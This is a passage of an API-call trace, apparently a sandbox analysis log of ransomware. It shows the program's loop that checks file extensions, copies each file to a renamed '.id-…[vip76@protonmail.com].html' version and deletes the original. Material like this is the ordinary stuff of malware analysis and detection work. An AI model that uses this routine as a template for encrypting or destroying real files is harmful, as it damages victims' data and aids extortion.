	[0069.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.884] lstrlenW (lpString=".doc") returned 4
	[0069.884] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.884] lstrlenW (lpString=".docx") returned 5
	[0069.884] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.884] lstrlenW (lpString=".pdf") returned 4
	[0069.884] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.884] lstrlenW (lpString=".xls") returned 4
	[0069.884] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.884] lstrlenW (lpString=".xlsx") returned 5
	[0069.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.884] lstrlenW (lpString=".ppt") returned 4
	[0069.884] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.884] lstrlenW (lpString=".zip") returned 4
	[0069.884] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.884] lstrlenW (lpString=".rar") returned 4
	[0069.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.884] lstrlenW (lpString=".bz2") returned 4
	[0069.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.884] lstrlenW (lpString=".7z") returned 3
	[0069.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.884] lstrlenW (lpString=".dbf") returned 4
	[0069.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.885] lstrlenW (lpString=".1cd") returned 4
	[0069.885] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.885] lstrlenW (lpString=".jpg") returned 4
	[0069.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.885] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.885] lstrlenW (lpString="AG00154_.GIF") returned 12
	[0069.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.885] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=5315) returned 1
	[0069.885] CloseHandle (hObject=0x364) returned 1
	[0069.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220
	[0069.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.886] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.886] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0069.886] GetLastError () returned 0x0
	[0069.886] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x14c3, lpOverlapped=0x0) returned 1
	[0070.366] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0070.368] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.368] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.368] SetEndOfFile (hFile=0x388) returned 1
	[0070.368] CloseHandle (hObject=0x388) returned 1
	[0070.369] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.369] SetEndOfFile (hFile=0x364) returned 1
	[0070.371] CloseHandle (hObject=0x364) returned 1
	[0070.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1
	[0070.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.371] lstrlenW (lpString=".doc") returned 4
	[0070.371] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.371] lstrlenW (lpString=".docx") returned 5
	[0070.371] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.372] lstrlenW (lpString=".pdf") returned 4
	[0070.372] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.372] lstrlenW (lpString=".xls") returned 4
	[0070.372] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.372] lstrlenW (lpString=".xlsx") returned 5
	[0070.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.372] lstrlenW (lpString=".ppt") returned 4
	[0070.372] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.372] lstrlenW (lpString=".zip") returned 4
	[0070.372] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.372] lstrlenW (lpString=".rar") returned 4
	[0070.372] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.372] lstrlenW (lpString=".bz2") returned 4
	[0070.372] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.372] lstrlenW (lpString=".7z") returned 3
	[0070.372] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.372] lstrlenW (lpString=".dbf") returned 4
	[0070.372] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.372] lstrlenW (lpString=".1cd") returned 4
	[0070.372] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.372] lstrlenW (lpString=".jpg") returned 4
	[0070.372] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.373] lstrlenW (lpString=".doc") returned 4
	[0070.373] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.373] lstrlenW (lpString=".docx") returned 5
	[0070.373] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.373] lstrlenW (lpString=".pdf") returned 4
	[0070.373] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.373] lstrlenW (lpString=".xls") returned 4
	[0070.373] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.373] lstrlenW (lpString=".xlsx") returned 5
	[0070.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.373] lstrlenW (lpString=".ppt") returned 4
	[0070.373] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.373] lstrlenW (lpString=".zip") returned 4
	[0070.373] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.373] lstrlenW (lpString=".rar") returned 4
	[0070.373] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.373] lstrlenW (lpString=".bz2") returned 4
	[0070.373] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.373] lstrlenW (lpString=".7z") returned 3
	[0070.373] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.373] lstrlenW (lpString=".dbf") returned 4
	[0070.373] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.374] lstrlenW (lpString=".1cd") returned 4
	[0070.374] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0070.374] lstrlenW (lpString=".jpg") returned 4
	[0070.374] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.374] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.374] lstrlenW (lpString="AG00165_.GIF") returned 12
	[0070.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0070.375] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=8582) returned 1
	[0070.375] CloseHandle (hObject=0x364) returned 1
	[0070.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220
	[0070.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0070.375] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.376] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0070.376] GetLastError () returned 0x0
	[0070.376] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x2186, lpOverlapped=0x0) returned 1
	[0070.378] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0070.380] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.381] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.381] SetEndOfFile (hFile=0x388) returned 1
	[0070.381] CloseHandle (hObject=0x388) returned 1
	[0070.382] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.382] SetEndOfFile (hFile=0x364) returned 1
	[0070.383] CloseHandle (hObject=0x364) returned 1
	[0070.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1
	[0070.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.384] lstrlenW (lpString=".doc") returned 4
	[0070.384] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.384] lstrlenW (lpString=".docx") returned 5
	[0070.384] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.384] lstrlenW (lpString=".pdf") returned 4
	[0070.384] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.384] lstrlenW (lpString=".xls") returned 4
	[0070.384] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.384] lstrlenW (lpString=".xlsx") returned 5
	[0070.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.384] lstrlenW (lpString=".ppt") returned 4
	[0070.384] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.384] lstrlenW (lpString=".zip") returned 4
	[0070.384] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.384] lstrlenW (lpString=".rar") returned 4
	[0070.384] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.384] lstrlenW (lpString=".bz2") returned 4
	[0070.384] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.384] lstrlenW (lpString=".7z") returned 3
	[0070.384] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.384] lstrlenW (lpString=".dbf") returned 4
	[0070.384] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.385] lstrlenW (lpString=".1cd") returned 4
	[0070.385] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.385] lstrlenW (lpString=".jpg") returned 4
	[0070.385] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.385] lstrlenW (lpString=".doc") returned 4
	[0070.385] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.385] lstrlenW (lpString=".docx") returned 5
	[0070.385] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.385] lstrlenW (lpString=".pdf") returned 4
	[0070.385] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.385] lstrlenW (lpString=".xls") returned 4
	[0070.385] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.385] lstrlenW (lpString=".xlsx") returned 5
	[0070.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.385] lstrlenW (lpString=".ppt") returned 4
	[0070.385] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.385] lstrlenW (lpString=".zip") returned 4
	[0070.385] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.385] lstrlenW (lpString=".rar") returned 4
	[0070.385] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.385] lstrlenW (lpString=".bz2") returned 4
	[0070.386] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.386] lstrlenW (lpString=".7z") returned 3
	[0070.386] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.386] lstrlenW (lpString=".dbf") returned 4
	[0070.386] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.386] lstrlenW (lpString=".1cd") returned 4
	[0070.386] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0070.386] lstrlenW (lpString=".jpg") returned 4
	[0070.386] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.386] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.386] lstrlenW (lpString="AG00167_.GIF") returned 12
	[0070.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0070.387] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=4894) returned 1
	[0070.387] CloseHandle (hObject=0x364) returned 1
	[0070.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220
	[0070.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0070.387] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.387] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0070.388] GetLastError () returned 0x0
	[0070.388] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x131e, lpOverlapped=0x0) returned 1
	[0070.390] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1320, lpOverlapped=0x0) returned 1
	[0070.391] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.391] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.391] SetEndOfFile (hFile=0x388) returned 1
	[0070.391] CloseHandle (hObject=0x388) returned 1
	[0070.392] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.392] SetEndOfFile (hFile=0x364) returned 1
	[0070.393] CloseHandle (hObject=0x364) returned 1
	[0070.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1
	[0070.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.395] lstrlenW (lpString=".doc") returned 4
	[0070.395] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.395] lstrlenW (lpString=".docx") returned 5
	[0070.395] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.395] lstrlenW (lpString=".pdf") returned 4
	[0070.395] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.395] lstrlenW (lpString=".xls") returned 4
	[0070.395] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.395] lstrlenW (lpString=".xlsx") returned 5
	[0070.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.396] lstrlenW (lpString=".ppt") returned 4
	[0070.396] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.396] lstrlenW (lpString=".zip") returned 4
	[0070.396] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.396] lstrlenW (lpString=".rar") returned 4
	[0070.396] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.396] lstrlenW (lpString=".bz2") returned 4
	[0070.396] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.396] lstrlenW (lpString=".7z") returned 3
	[0070.396] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.396] lstrlenW (lpString=".dbf") returned 4
	[0070.396] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.396] lstrlenW (lpString=".1cd") returned 4
	[0070.396] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.396] lstrlenW (lpString=".jpg") returned 4
	[0070.396] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.396] lstrlenW (lpString=".doc") returned 4
